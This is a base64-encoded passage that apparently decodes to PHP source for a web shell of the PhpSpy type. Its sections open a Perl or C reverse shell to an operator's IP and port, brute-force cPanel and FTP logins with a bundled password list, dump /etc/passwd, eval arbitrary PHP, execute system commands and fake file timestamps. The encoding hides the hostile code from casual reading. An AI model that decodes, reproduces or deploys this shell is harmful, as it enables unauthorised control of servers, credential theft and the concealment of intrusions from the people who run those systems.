LSUgwTkNpQnpkSEpqWVhRb2NtMXpMQ0JoY21kMld6QmRLVHNOQ2lCemVYTjBaVzBvY20xektUc2dJQTBLSUdSMWNESW9abVFzSURBcE93MEtJR1IxY0RJb1ptUXNJREVwIi4NCgkJIk93MEtJR1IxY0RJb1ptUXNJRElwT3cwS0lHVjRaV05zS0NJdlltbHVMM05vSWl3aWMyZ2dMV2tpTENCT1ZVeE1LVHNOQ2lCamJHOXpaU2htWkNrN0lBMEtmUT09IjsNCg0KCWlmICgkc3RhcnQgJiYgJHlvdXJpcCAmJiAkeW91cnBvcnQgJiYgJHVzZSl7DQoJCWlmICgkdXNlID09ICdwZXJsJykgew0KCQkJY2YoJy90bXAvYW5nZWxfYmMnLCRiYWNrX2Nvbm5lY3QpOw0KCQkJJHJlcyA9IGV4ZWN1dGUod2hpY2goJ3BlcmwnKS4iIC90bXAvYW5nZWxfYmMgJHlvdXJpcCAkeW91cnBvcnQgJiIpOw0KCQl9IGVsc2Ugew0KCQkJY2YoJy90bXAvYW5nZWxfYmMuYycsJGJhY2tfY29ubmVjdF9jKTsNCgkJCSRyZXMgPSBleGVjdXRlKCdnY2MgLW8gL3RtcC9hbmdlbF9iYyAvdG1wL2FuZ2VsX2JjLmMnKTsNCgkJCUB1bmxpbmsoJy90bXAvYW5nZWxfYmMuYycpOw0KCQkJJHJlcyA9IGV4ZWN1dGUoIi90bXAvYW5nZWxfYmMgJHlvdXJpcCAkeW91cnBvcnQgJiIpOw0KCQl9DQoJCW0oIk5vdyBzY3JpcHQgdHJ5IGNvbm5lY3QgdG8gJHlvdXJpcCBwb3J0ICR5b3VycG9ydCAuLi4iKTsNCgl9DQoNCglmb3JtaGVhZChhcnJheSgndGl0bGUnPT4nQmFjayBDb25uZWN0JykpOw0KCW1ha2VoaWRlKCdhY3Rpb24nLCdiYWNrY29ubmVjdCcpOw0KCXAoJzxwPicpOw0KCXAoJ1lvdXIgSVA6Jyk7DQoJbWFrZWlucHV0KGFycmF5KCduYW1lJz0+J3lvdXJpcCcsJ3NpemUnPT4yMCwndmFsdWUnPT4keW91cmlwKSk7DQoJcCgnWW91ciBQb3J0OicpOw0KCW1ha2VpbnB1dChhcnJheSgnbmFtZSc9Pid5b3VycG9ydCcsJ3NpemUnPT4xNSwndmFsdWUnPT4keW91cnBvcnQpKTsNCglwKCdVc2U6Jyk7DQoJbWFrZXNlbGVjdChhcnJheSgnbmFtZSc9Pid1c2UnLCdvcHRpb24nPT4kdXNlZGIsJ3NlbGVjdGVkJz0+JHVzZSkpOw0KCW1ha2VpbnB1dChhcnJheSgnbmFtZSc9PidzdGFydCcsJ3ZhbHVlJz0+J1N0YXJ0JywndHlwZSc9PidzdWJtaXQnLCdjbGFzcyc9PididCcpKTsNCglwKCc8L3A+Jyk7DQoJZm9ybWZvb3QoKTsNCn0vL2VuZCBiYWNrY29ubmVjdCB3aW5kb3cgdmlhIE5DDQoNCi8vIEJydXRlDQplbHNlaWYgKCRhY3Rpb24gPT0gJ2JydXRlJykgew0KZm9ybWhlYWQoYXJyYXkoJ3RpdGxlJz0+J0JydXRlIEZvcmNlcicpKTsNCgltYWtlaGlkZSgnYWN0aW9uJywnYnJ1dGUnKTsNCgltYWtlaGlkZSgnZGlyJywkYnJ1dGUpOw0KQGluaV9zZXQoJ21lbW9yeV9saW1pdCcsIDEwMDAwMDAwMDAwMDApOw0KJGNvbm5lY3RfdGltZW91dD01Ow0KQHNldF90aW1lX2xpbWl0KDApOw0KJHN1Ym1pdCA9ICRfUkVRVUVTVFsnc3VibWl0J107DQokdXNlcnMgPSAkX1JFUVVFU1RbJ3VzZXJzJ107DQokcGFzcyA9ICRfUkVRVUVTVFsncGFzc3dvcmRzJ107DQokdGFyZ2V0ID0gJF9SRVFVRVNUWyd0YXJnZXQnXTsNCiRvcHRpb24gPSAkX1JFUVVFU1RbJ29wdGlvbiddOw0KDQoNCiRwYXNzbGlzdCA9ICIxMjNwYXNzDQoxMjMhQCMNCjEyM2FkbWluDQoxMjNhYmMNCjEyMzQ1NmFkbWluDQoxMjM0NTU0MzIxDQoxMjM0NDMyMQ0KcGFzczEyMw0KYWRtaW4NCmFkbWluY3ANCmFkbWluaXN0cmF0b3INCm1hdGtoYXUNCnBhc3NhZG1pbg0KcEBzc3dvcmQNCnBhc3N3b3JkDQowMTIzNDUNCjEyMzQ1Ng0KMTIzNDU2Nw0KMTIzNDU2NzgNCjEyMzQ1Njc4OQ0KMTIzNDU2Nzg5MA0KMTExMTExDQowMDAwMDANCjIyMjIyMg0KMzMzMzMzDQo0NDQ0NDQNCjU1NTU1NQ0KNjY2NjY2DQo3Nzc3NzcNCjg4ODg4OA0KOTk5OTk5DQoxMjMxMjMNCjIzNDIzNA0KMzQ1MzQ1DQo0NTY0NTYNCjU2NzU2Nw0KNjc4Njc4DQo3ODk3ODkNCjEyMzMyMQ0KNDU2NjU0DQo2NTQzMjENCjc2NTQzMjENCjg3NjU0MzIxDQo5ODc2NTQzMjENCjA5ODc2NTQzMjENCmFkbWluMTIzDQphZG1pbjEyMzQ1Ng0KYWJjZGVmDQphYmNhYmMNCiFAIyFAIw0KIUAjJCVeDQohQCMkJV4mKigNCiFAIyQkI0AhDQphYmMxMjMNCmFuaHlldWVtDQppbG92ZXlvdQ0KYWRtaW4NCmFkbWluaXN0cmF0b3INCmFkbWluY3ANCmNwYW5lbA0KYWRtaW54DQphZG1pbnMNCnBhc3N3b3JkDQpwYXNzd29yZHMNCnBhc3N3MHJkDQpwQHNzdzByZA0KcEBzc3dvcmQNCmtob25nY28NCjI1MjUxMzI1DQpwYXNzdzByZHMiOw0KaWYoJHRhcmdldCA9PSAnJyl7DQokdGFyZ2V0ID0gJ2xvY2FsaG9zdCc7DQp9DQpwcmludCAiIDxkaXYgYWxpZ249J2NlbnRlcic+DQo8Zm9ybSBtZXRob2Q9J3Bvc3QnIHN0eWxlPSdib3JkZXI6IDFweCBzb2xpZCAjMDAwMDAwJz48YnI+PGJyPg0KPFRBQkxFIHN0eWxlPSdCT1JERVItQ09MTEFQU0U6IGNvbGxhcHNlJyBjZWxsU3BhY2luZz0wIGJvcmRlckNvbG9yRGFyaz0jOTY2MTE3IGNlbGxQYWRkaW5nPTUgd2lkdGg9JzQwJScgYmdDb2xvcj0jMzAzMDMwIGJvcmRlckNvbG9yTGlnaHQ9Izk2NjExNyBib3JkZXI9MT48dHI+PHRkPg0KPGI+IFRhcmdldCAgOiA8L2ZvbnQ+PGlucHV0IHR5cGU9J3RleHQnIG5hbWU9J3RhcmdldCcgc2l6ZT0nMTYnIHZhbHVlPSAkdGFyZ2V0IHN0eWxlPSdib3JkZXI6IGZvbnQtZmFtaWx5OnRhaG9tYTsgZm9udC13ZWlnaHQ6Ym9sZDsnPjwvcD48L2ZvbnQ+PC9iPjwvcD4NCjxkaXYgYWxpZ249J2NlbnRlcic+PGJyPg0KPFRBQkxFIHN0eWxlPSdCT1JERVItQ09MTEFQU0U6IGNvbGxhcHNlJyBjZWxsU3BhY2luZz0wIGJvcmRlckNvbG9yRGFyaz0jOTY2MTE3IGNlbGxQYWRkaW5nPTUgd2lkdGg9JzUwJScgYmdDb2xvcj0jMzAzMDMwIGJvcmRlckNvbG9yTGlnaHQ9Izk2NjExNyBib3JkZXI9MT4NCjx0cj4NCjx0ZCBhbGlnbj0nY2VudGVyJz4NCjxiPlVzZXJuYW1lPC9iPjwvdGQ+DQo8dGQ+DQo8cCBhbGlnbj0nY2VudGVyJz4NCjxiPlBhc3N3b3JkPC9iPjwvdGQ+DQo8L3RyPg0KPC90YWJsZT4NCjxwIGFsaWduPSdjZW50ZXInPg0KPHRleHRhcmVhIHJvd3M9JzIwJyBuYW1lPSd1c2VycycgY29scz0nMjUnIHN0eWxlPSdib3JkZXI6IDJweCBzb2xpZCAjMUQxRDFEOyBiYWNrZ3JvdW5kLWNvbG9yOiAjMDAwMDAwOyBjb2xvcjojQzBDMEMwJz4iOw0KJGkgPSAwOw0Kd2hpbGUgKCRpIDwgNjAwMDApIHsNCg0KICAgICRsaW5lID0gcG9zaXhfZ2V0cHd1aWQoJGkpOw0KICAgIGlmICghZW1wdHkoJGxpbmUpKSB7DQoNCiAgICAgICAgd2hpbGUgKGxpc3QgKCRrZXksICR2YmFfZXRjcHdkKSA9IGVhY2goJGxpbmUpKXsNCiAgICAgICAgICAgIGVjaG8gIiIuJHZiYV9ldGNwd2QuIlxuIjsNCiAgICAgICAgICAgIGJyZWFrOw0KICAgICAgICB9DQoNCiAgICB9DQoNCiAgICRpKys7DQp9DQplY2hvICINCjwvdGV4dGFyZWE+DQo8dGV4dGFyZWEgcm93cz0nMjAnIG5hbWU9J3Bhc3N3b3JkcycgY29scz0nMjUnIHN0eWxlPSdib3JkZXI6IDJweCBzb2xpZCAjMUQxRDFEOyBiYWNrZ3JvdW5kLWNvbG9yOiAjMDAwMDAwOyBjb2xvcjojQzBDMEMwJz4kcGFzc2xpc3Q8L3RleHRhcmVhPjxicj4NCjxicj4NCjxiPk9wdGlvbnMgOiA8L3NwYW4+PGlucHV0IG5hbWU9J29wdGlvbicgdmFsdWU9J2NwYW5lbCcgc3R5bGU9J2ZvbnQtd2VpZ2h0OiA3MDA7JyBjaGVja2VkIHR5cGU9J3JhZGlvJz4gY1BhbmVsDQo8aW5wdXQgbmFtZT0nb3B0aW9uJyB2YWx1ZT0nZnRwJyBzdHlsZT0nZm9udC13ZWlnaHQ6IDcwMDsnIHR5cGU9J3JhZGlvJz4gZnRwID09PiA8aW5wdXQgdHlwZT0nc3VibWl0JyB2YWx1ZT0nQXR0YWNrJyBuYW1lPSdzdWJtaXQnID48L3A+DQo8L3RkPjwvdHI+PC90YWJsZT48L3RkPjwvdHI+PC9mb3JtPjxwIGFsaWduPSAnbGVmdCc+IjsNCj8+DQo8P3BocA0KZnVuY3Rpb24gZnRwX2NoZWNrKCRob3N0LCR1c2VyLCRwYXNzLCR0aW1lb3V0KXsNCiRjaCA9IGN1cmxfaW5pdCgpOw0KY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX1VSTCwgImZ0cDovLyRob3N0Iik7DQpjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfUkVUVVJOVFJBTlNGRVIsIDEpOw0KY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX0hUVFBBVVRILCBDVVJMQVVUSF9CQVNJQyk7DQpjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfRlRQTElTVE9OTFksIDEpOw0KY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX1VTRVJQV0QsICIkdXNlcjokcGFzcyIpOw0KY3VybF9zZXRvcHQgKCRjaCwgQ1VSTE9QVF9DT05ORUNUVElNRU9VVCwgJHRpbWVvdXQpOw0KY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX0ZBSUxPTkVSUk9SLCAxKTsNCiRkYXRhID0gY3VybF9leGVjKCRjaCk7DQppZiAoIGN1cmxfZXJybm8oJGNoKSA9PSAyOCApIHsNCg0KcHJpbnQgIjxiPiBFcnJvciA6IENvbm5lY3Rpb24gdGltZWQgb3V0ICwgbWFrZSBjb25maWRlbmNlIGFib3V0IHZhbGlkYXRpb24gb2YgdGFyZ2V0ICE8L2I+IjsNCmV4aXQ7fQ0KDQplbHNlaWYgKCBjdXJsX2Vycm5vKCRjaCkgPT0gMCApew0KDQpwKCI8Yj5bIGJsb2cyNGhAZ21haWwuY29tIF0jIDwvYj4NCjxiPiBBdHRhY2tpbmcgaGFzIGJlZW4gZG9uZSEgVXNlcm5hbWU6IDxmb250IGNvbG9yPScjRkYwMDAwJz4gJHVzZXIgPC9mb250PiAvIFBhc3N3b3JkOjxmb250IGNvbG9yPScjRkYwMDAwJz4gJHBhc3MgPC9mb250PiA9PiA8YSBocmVmPWh0dHA6Ly8kdXNlcjokcGFzc0AkaG9zdDoyMDgyIHRhcmdldD1fYmxhbms+TG9naW48L2E+PC9iPjxicj4iKTsNCn0NCmN1cmxfY2xvc2UoJGNoKTt9DQoNCmZ1bmN0aW9uIGNwYW5lbF9jaGVjaygkaG9zdCwkdXNlciwkcGFzcywkdGltZW91dCl7DQokY2ggPSBjdXJsX2luaXQoKTsNCmN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9VUkwsICJodHRwOi8vJGhvc3Q6MjA4MiIpOw0KY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX1JFVFVSTlRSQU5TRkVSLCAxKTsNCmN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9IVFRQQVVUSCwgQ1VSTEFVVEhfQkFTSUMpOw0KY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX1VTRVJQV0QsICIkdXNlcjokcGFzcyIpOw0KY3VybF9zZXRvcHQgKCRjaCwgQ1VSTE9QVF9DT05ORUNUVElNRU9VVCwgJHRpbWVvdXQpOw0KY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX0ZBSUxPTkVSUk9SLCAxKTsNCiRkYXRhID0gY3VybF9leGVjKCRjaCk7DQppZiAoIGN1cmxfZXJybm8oJGNoKSA9PSAyOCApIHsNCnByaW50ICI8Yj4gRXJyb3IgOiBDb25uZWN0aW9uIHRpbWVkIG91dCAsIG1ha2UgY29uZmlkZW5jZSBhYm91dCB2YWxpZGF0aW9uIG9mIHRhcmdldCAhPC9iPiI7DQpleGl0O30NCmVsc2VpZiAoIGN1cmxfZXJybm8oJGNoKSA9PSAwICl7DQoNCnAoIjxiPlsgczRmM3czYkB5YWhvby5jb20gXSMgPC9iPjxiPkF0dGFja2luZyBoYXMgYmVlbiBkb25lITwvYT4gVXNlcm5hbWU6IDxmb250IGNvbG9yPScjRkYwMDAwJz4gJHVzZXIgPC9mb250PiAvIFBhc3N3b3JkOjxmb250IGNvbG9yPScjRkYwMDAwJz4gJHBhc3MgPC9mb250PjwvYj48YnI+Iik7fWN1cmxfY2xvc2UoJGNoKTt9DQoNCmlmKGlzc2V0KCRzdWJtaXQpICYmICFlbXB0eSgkc3VibWl0KSl7DQoNCiR1c2VybGlzdCA9IGV4cGxvZGUgKCJcbiIgLCAkdXNlcnMgKTsNCiRwYXNzbGlzdCA9IGV4cGxvZGUgKCJcbiIgLCAkcGFzcyApOw0KcCgnPGI+WyBzNGYzdzNiQHlhaG9vLmNvbSBdIyBBdHRhY2tpbmcgLi4uPC9mb250PjwvYj48YnI+Jyk7DQpmb3JlYWNoICgkdXNlcmxpc3QgYXMgJHVzZXIpIHsNCiRfdXNlciA9IHRyaW0oJHVzZXIpOw0KZm9yZWFjaCAoJHBhc3NsaXN0IGFzICRwYXNzd29yZCApIHsNCiRfcGFzcyA9IHRyaW0oJHBhc3N3b3JkKTsNCmlmKCRvcHRpb24gPT0gImZ0cCIpew0KZnRwX2NoZWNrKCR0YXJnZXQsJF91c2VyLCRfcGFzcywkY29ubmVjdF90aW1lb3V0KTsNCn0NCmlmICgkb3B0aW9uID09ICJjcGFuZWwiKQ0Kew0KY3BhbmVsX2NoZWNrKCR0YXJnZXQsJF91c2VyLCRfcGFzcywkY29ubmVjdF90aW1lb3V0KTsNCn0NCn0NCn0NCn0NCg0KCWZvcm1mb290KCk7DQp9DQoNCg0KDQoNCg0KDQplbHNlaWYgKCRhY3Rpb24gPT0gJ2V0Y3B3ZCcpIHsNCmZvcm1oZWFkKGFycmF5KCd0aXRsZSc9PidHZXQgL2V0Yy9wYXNzd2QnKSk7DQoJbWFrZWhpZGUoJ2FjdGlvbicsJ2V0Y3B3ZCcpOw0KCW1ha2VoaWRlKCdkaXInLCRub3dwYXRoKTsNCiRpID0gMDsNCiBlY2hvICI8cD48YnI+PHRleHRhcmVhIGNsYXNzPVwiYXJlYVwiIGlkPVwicGhwY29kZXh4eFwiIG5hbWU9XCJwaHBjb2RleHh4XCIgY29scz1cIjEwMFwiIHJvd3M9XCIyNVwiPiI7DQp3aGlsZSAoJGkgPCA2MDAwMCkgew0KDQogICAgJGxpbmUgPSBwb3NpeF9nZXRwd3VpZCgkaSk7DQogICAgaWYgKCFlbXB0eSgkbGluZSkpIHsNCg0KICAgICAgICB3aGlsZSAobGlzdCAoJGtleSwgJHZiYV9ldGNwd2QpID0gZWFjaCgkbGluZSkpew0KICAgICAgICAgICAgZWNobyAiIi4kdmJhX2V0Y3B3ZC4iXG4iOw0KICAgICAgICAgICAgYnJlYWs7DQogICAgICAgIH0NCg0KICAgIH0NCg0KICAgJGkrKzsNCn0NCiAgZWNobyAiPC90ZXh0YXJlYT48L3A+IjsNCglmb3JtZm9vdCgpOw0KfQ0KDQplbHNlaWYgKCRhY3Rpb24gPT0gJ2V2YWwnKSB7DQoJJHBocGNvZGUgPSB0cmltKCRwaHBjb2RlKTsNCglpZigkcGhwY29kZSl7DQoJCWlmICghcHJlZ19tYXRjaCgnIzxcPyNzaScsICRwaHBjb2RlKSkgew0KCQkJJHBocGNvZGUgPSAiPD9waHBcblxueyRwaHBjb2RlfVxuXG4/PiI7DQoJCX0NCgkJZXZhbCgiPyIuIj4kcGhwY29kZTw/Iik7DQoJfQ0KCWZvcm1oZWFkKGFycmF5KCd0aXRsZSc9PidFdmFsIFBIUCBDb2RlJykpOw0KCW1ha2VoaWRlKCdhY3Rpb24nLCdldmFsJyk7DQoJbWFrZXRleHQoYXJyYXkoJ3RpdGxlJz0+J1BIUCBDb2RlJywnbmFtZSc9PidwaHBjb2RlJywgJ3ZhbHVlJz0+JHBocGNvZGUpKTsNCglwKCc8cD48YSBocmVmPSJodHRwOi8vd3d3LjRuZ2VsLm5ldC9waHBzcHkvcGx1Z2luLyIgdGFyZ2V0PSJfYmxhbmsiPkdldCBwbHVnaW5zPC9hPjwvcD4nKTsNCglmb3JtZm9vdGVyKCk7DQp9Ly9lbmQgZXZhbA0KDQplbHNlaWYgKCRhY3Rpb24gPT0gJ2VkaXRmaWxlJykgew0KCWlmKGZpbGVfZXhpc3RzKCRvcGZpbGUpKSB7DQoJCSRmcD1AZm9wZW4oJG9wZmlsZSwncicpOw0KCQkkY29udGVudHM9QGZyZWFkKCRmcCwgZmlsZXNpemUoJG9wZmlsZSkpOw0KCQlAZmNsb3NlKCRmcCk7DQoJCSRjb250ZW50cz1odG1sc3BlY2lhbGNoYXJzKCRjb250ZW50cyk7DQoJfQ0KCWZvcm1oZWFkKGFycmF5KCd0aXRsZSc9PidDcmVhdGUgLyBFZGl0IEZpbGUnKSk7DQoJbWFrZWhpZGUoJ2FjdGlvbicsJ2ZpbGUnKTsNCgltYWtlaGlkZSgnZGlyJywkbm93cGF0aCk7DQoJbWFrZWlucHV0KGFycmF5KCd0aXRsZSc9PidDdXJyZW50IEZpbGUgKGltcG9ydCBuZXcgZmlsZSBuYW1lIGFuZCBuZXcgZmlsZSknLCduYW1lJz0+J2VkaXRmaWxlbmFtZScsJ3ZhbHVlJz0+JG9wZmlsZSwnbmV3bGluZSc9PjEpKTsNCgltYWtldGV4dChhcnJheSgndGl0bGUnPT4nRmlsZSBDb250ZW50JywnbmFtZSc9PidmaWxlY29udGVudCcsJ3ZhbHVlJz0+JGNvbnRlbnRzKSk7DQoJZm9ybWZvb3RlcigpOw0KfS8vZW5kIGVkaXRmaWxlDQoNCmVsc2VpZiAoJGFjdGlvbiA9PSAnbmV3dGltZScpIHsNCgkkb3BmaWxlbXRpbWUgPSBAZmlsZW10aW1lKCRvcGZpbGUpOw0KCS8vJHRpbWUgPSBzdHJ0b3RpbWUoIiR5ZWFyLSRtb250aC0kZGF5ICRob3VyOiRtaW51dGU6JHNlY29uZCIpOw0KCSRjYWNoZW1vbnRoID0gYXJyYXkoJ0phbnVhcnknPT4xLCdGZWJydWFyeSc9PjIsJ01hcmNoJz0+MywnQXByaWwnPT40LCdNYXknPT41LCdKdW5lJz0+NiwnSnVseSc9PjcsJ0F1Z3VzdCc9PjgsJ1NlcHRlbWJlcic9PjksJ09jdG9iZXInPT4xMCwnTm92ZW1iZXInPT4xMSwnRGVjZW1iZXInPT4xMik7DQoJZm9ybWhlYWQoYXJyYXkoJ3RpdGxlJz0+J0Nsb25lIGZpbGUgd2FzIGxhc3QgbW9kaWZpZWQgdGltZScpKTsNCgltYWtlaGlkZSgnYWN0aW9uJywnZmlsZScpOw0KCW1ha2VoaWRlKCdkaXInLCRub3dwYXRoKTsNCgltYWtlaW5wdXQoYXJyYXkoJ3RpdGxlJz0+J0FsdGVyIGZpbGUnLCduYW1lJz0+J2N1cmZpbGUnLCd2YWx1ZSc9PiRvcGZpbGUsJ3NpemUnPT4xMjAsJ25ld2xpbmUnPT4xKSk7DQoJbWFrZWlucHV0KGFycmF5KCd0aXRsZSc9PidSZWZlcmVuY2UgZmlsZSAoZnVsbHBhdGgpJywnbmFtZSc9Pid0YXJmaWxlJywnc2l6ZSc9PjEyMCwnbmV3bGluZSc9PjEpKTsNCglmb3JtZm9vdGVyKCk7DQoJZm9ybWhlYWQoYXJyYXkoJ3RpdGxlJz0+J1NldCBsYXN0IG1vZGlmaWVkJykpOw0KCW1ha2VoaWRlKCdhY3Rpb24nLCdmaWxlJyk7DQoJbWFrZWhpZGUoJ2RpcicsJG5vd3BhdGgpOw0KCW1ha2VpbnB1dChhcnJheSgndGl0bGUnPT4nQ3VycmVudCBmaWxlIChmdWxscGF0aCknLCduYW1lJz0+J2N1cmZpbGUnLCd2YWx1ZSc9PiRvcGZpbGUsJ3NpemUnPT4xMjAsJ25ld2xpbmUnPT4xKSk7DQoJcCgnPHA+SW5zdGVhZCAmcmFxdW87Jyk7DQoJcCgneWVhcjonKTsNCgltYWtlaW5wdXQoYXJyYXkoJ25hbWUnPT4neWVhcicsJ3ZhbHVlJz0+ZGF0ZSgnWScsJG9wZmlsZW10aW1lKSwnc2l6ZSc9PjQpKTsNCglwKCdtb250aDonKTsNCgltYWtlaW5wdXQoYXJyYXkoJ25hbWUnPT4nbW9udGgnLCd2YWx1ZSc9PmRhdGUoJ20nLCRvcGZpbGVtdGltZSksJ3NpemUnPT4yKSk7DQoJcCgnZGF5OicpOw0KCW1ha2VpbnB1dChhcnJheSgnbmFtZSc9PidkYXknLCd2YWx1ZSc9PmRhdGUoJ2QnLCRvcGZpbGVtdGltZSksJ3NpemUnPT4yKSk7DQoJcCgnaG91cjonKTsNCgltYWtlaW5wdXQoYXJyYXkoJ25hbWUnPT4naG91cicsJ3ZhbHVlJz0+ZGF0ZSgnSCcsJG9wZmlsZW10aW1lKSwnc2l6ZSc9PjIpKTsNCglwKCdtaW51dGU6Jyk7DQoJbWFrZWlucHV0KGFycmF5KCduYW1lJz0+J21pbnV0ZScsJ3ZhbHVlJz0+ZGF0ZSgnaScsJG9wZmlsZW10aW1lKSwnc2l6ZSc9PjIpKTsNCglwKCdzZWNvbmQ6Jyk7DQoJbWFrZWlucHV0KGFycmF5KCduYW1lJz0+J3NlY29uZCcsJ3ZhbHVlJz0+ZGF0ZSgncycsJG9wZmlsZW10aW1lKSwnc2l6ZSc9PjIpKTsNCglwKCc8L3A+Jyk7DQoJZm9ybWZvb3RlcigpOw0KfS8vZW5kIG5ld3RpbWUNCg0KZWxzZWlmICgkYWN0aW9uID09ICdzaGVsbCcpIHsNCglpZiAoSVNfV0lOICYmIElTX0NPTSkgew0KCQlpZigkcHJvZ3JhbSAmJiAkcGFyYW1ldGVyKSB7DQoJCQkkc2hlbGw9IG5ldyBDT00oJ1NoZWxsLkFwcGxpY2F0aW9uJyk7DQoJCQkkYSA9ICRzaGVsbC0+U2hlbGxFeGVjdXRlKCRwcm9ncmFtLCRwYXJhbWV0ZXIpOw0KCQkJbSgnUHJvZ3JhbSBydW4gaGFzICcuKCEkYSA/ICdzdWNjZXNzJyA6ICdmYWlsJykpOw0KCQl9DQoJCSEkcHJvZ3JhbSAmJiAkcHJvZ3JhbSA9ICdjOlx3aW5kb3dzXHN5c3RlbTMyXGNtZC5leGUnOw0KCQkhJHBhcmFtZXRlciAmJiAkcGFyYW1ldGVyID0gJy9jIG5ldCBzdGFydCA+ICcuU0FfUk9PVC4nbG9nLnR4dCc7DQoJCWZvcm1oZWFkKGFycmF5KCd0aXRsZSc9PidFeGVjdXRlIFByb2dyYW0nKSk7DQoJCW1ha2VoaWRlKCdhY3Rpb24nLCdzaGVsbCcpOw0KCQltYWtlaW5wdXQoYXJyYXkoJ3RpdGxlJz0+J1Byb2dyYW0nLCduYW1lJz0+J3Byb2dyYW0nLCd2YWx1ZSc9PiRwcm9ncmFtLCduZXdsaW5lJz0+MSkpOw0KCQlwKCc8cD4nKTsNCgkJbWFrZWlucHV0KGFycmF5KCd0aXRsZSc9PidQYXJhbWV0ZXInLCduYW1lJz0+J3BhcmFtZXRlcicsJ3ZhbHVlJz0+JHBhcmFtZXRlcikpOw0KCQltYWtlaW5wdXQoYXJyYXkoJ25hbWUnPT4nc3VibWl0JywnY2xhc3MnPT4nYnQnLCd0eXBlJz0+J3N1Ym1pdCcsJ3ZhbHVlJz0+J0V4ZWN1dGUnKSk7DQoJCXAoJzwvcD4nKTsNCgkJZm9ybWZvb3QoKTsNCgl9DQoJZm9ybWhlYWQoYXJyYXkoJ3RpdGxlJz0+J0V4ZWN1dGUgQ29tbWFuZCcpKTsNCgltYWtlaGlkZSgnYWN0aW9uJywnc2hlbGwnKTsNCglpZiAoSVNfV0lOICYmIElTX0NPTSkgew0KCQkkZXhlY2Z1bmNkYiA9IGFycmF5KCdwaHBmdW5jJz0+J3BocGZ1bmMnLCd3c2NyaXB0Jz0+J3dzY3JpcHQnLCdwcm9jX29wZW4nPT4ncHJvY19vcGVuJyk7DQoJCW1ha2VzZWxlY3QoYXJyYXkoJ3RpdGxlJz0+J1VzZTonLCduYW1lJz0+J2V4ZWNmdW5jJywnb3B0aW9uJz0+JGV4ZWNmdW5jZGIsJ3NlbGVjdGVkJz0+JGV4ZWNmdW5jLCduZXdsaW5lJz0+MSkpOw0KCX0NCglwKCc8cD4nKTsNCgltYWtlaW5wdXQoYXJyYXkoJ3RpdGxlJz0+J0NvbW1hbmQnLCduYW1lJz0+J2NvbW1hbmQnLCd2YWx1ZSc9PiRjb21tYW5kKSk7DQoJbWFrZWlucHV0KGFycmF5KCduYW1lJz0+J3N1Ym1pdCcsJ2NsYXNzJz0+J2J0JywndHlwZSc9PidzdWJtaXQnLCd2YWx1ZSc9PidFeGVjdXRlJykpOw0KCXAoJzwvcD4nKTsNCglmb3JtZm9vdCgpOw0KDQoJaWYgKCRjb21tYW5kKSB7DQoJCXAoJzxociB3aWR0aD0iMTAwJSIgbm9zaGFkZSAvPjxwcmU+Jyk7DQoJCWlmICgkZXhlY2Z1bmM9PSd3c2NyaXB0JyAmJiBJU19XSU4gJiYgSVNfQ09NKSB7DQoJCQkkd3NoID0gbmV3IENPTSgnV1NjcmlwdC5zaGVsbCcpOw0KCQkJJGV4ZWMgPSAkd3NoLT5leGVjKCdjbWQuZXhlIC9jICcuJGNvbW1hbmQpOw0KCQkJJHN0ZG91dCA9ICRleGVjLT5TdGRPdXQoKTsNCgkJCSRzdHJvdXRwdXQgPSAkc3Rkb3V0LT5SZWFkQWxsKCk7DQoJCQllY2hvICRzdHJvdXRwdXQ7DQoJCX0gZWxzZWlmICgkZXhlY2Z1bmM9PSdwcm9jX29wZW4nICYmIElTX1dJTiAmJiBJU19DT00pIHsNCgkJCSRkZXNjcmlwdG9yc3BlYyA9IGFycmF5KA0KCQkJICAgMCA9PiBhcnJheSgncGlwZScsICdyJyksDQoJCQkgICAxID0+IGFycmF5KCdwaXBlJywgJ3cnKSwNCgkJCSAgIDIgPT4gYXJyYXkoJ3BpcGUnLCAndycpDQoJCQkpOw0KCQkJJHByb2Nlc3MgPSBwcm9jX29wZW4oJF9TRVJWRVJbJ0NPTVNQRUMnXSwgJGRlc2NyaXB0b3JzcGVjLCAkcGlwZXMpOw0KCQkJaWYgKGlzX3Jlc291cmNlKCRwcm9jZXNzKSkgew0KCQkJCWZ3cml0ZSgkcGlwZXNbMF0sICRjb21tYW5kLiJcclxuIik7DQoJCQkJZndyaXRlKCRwaXBlc1swXSwgImV4aXRcclxuIik7DQoJCQkJZmNsb3NlKCRwaXBlc1swXSk7DQoJCQkJd2hpbGUgKCFmZW9mKCRwaXBlc1sxXSkpIHsNCgkJCQkJZWNobyBmZ2V0cygkcGlwZXNbMV0sIDEwMjQpOw0KCQkJCX0NCgkJCQlmY2xvc2UoJHBpcGVzWzFdKTsNCgkJCQl3aGlsZSAoIWZlb2YoJHBpcGVzWzJdKSkgew0KCQkJCQllY2hvIGZnZXRzKCRwaXBlc1syXSwgMTAyNCk7DQoJCQkJfQ0KCQkJCWZjbG9zZSgkcGlwZXNbMl0pOw0KCQkJCXByb2NfY2xvc2UoJHByb2Nlc3MpOw0KCQkJfQ0KCQl9IGVsc2Ugew0KCQkJZWNobyhleGVjdXRlKCRjb21tYW5kKSk7DQoJCX0NCgkJcCgnPC9wcmU+Jyk7DQoJfQ0KfS8vZW5kIHNoZWxsDQoNCmVsc2VpZiAoJGFjdGlvbiA9PSAncGhwZW52Jykgew0KCSR1cHNpemU9Z2V0Y2ZnKCdmaWxlX3VwbG9hZHMnKSA/IGdldGNmZygndXBsb2FkX21heF9maWxlc2l6ZScpIDogJ05vdCBhbGxvd2VkJzsNCgkkYWRtaW5tYWlsPWlzc2V0KCRfU0VSVkVSWydTRVJWRVJfQURNSU4nXSkgPyAkX1NFUlZFUlsnU0VSVkVSX0FETUlOJ10gOiBnZXRjZmcoJ3NlbmRtYWlsX2Zyb20nKTsNCgkhJGRpc19mdW5jICYmICRkaXNfZnVuYyA9ICdObyc7DQoJJGluZm8gPSBhcnJheSgNCgkJMSA9PiBhcnJheSgnU2VydmVyIFRpbWUnLGRhdGUoJ1kvbS9kIGg6aTpzJywkdGltZXN0YW1wKSksDQo